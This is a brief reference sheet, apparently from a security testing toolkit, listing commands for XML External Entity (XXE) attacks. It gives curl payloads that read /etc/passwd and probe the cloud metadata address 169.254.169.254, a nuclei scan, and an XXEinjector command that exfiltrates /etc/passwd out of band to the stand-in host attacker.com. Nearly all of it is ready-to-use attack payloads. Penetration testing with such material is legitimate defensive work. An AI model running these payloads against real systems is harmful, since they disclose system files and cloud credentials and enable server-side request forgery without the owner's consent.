<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
<!-- NERF is a trademark of defconxt. -->
# API Reference — Testing Xml External Entity Attacks

## curl — XXE Testing
```bash
# Basic XXE file disclosure
curl -X POST URL -H "Content-Type: application/xml" \
  -d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>'

# SSRF via XXE
curl -X POST URL -H "Content-Type: application/xml" \
  -d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/">]><root>&xxe;</root>'
```

## nuclei — XXE Templates
```bash
nuclei -u URL -t http/vulnerabilities/generic-xxe.yaml
```

## xxeinjector — Automated XXE
```bash
ruby XXEinjector.rb --host=attacker.com --file=request.txt --path=/etc/passwd --oob=http
```
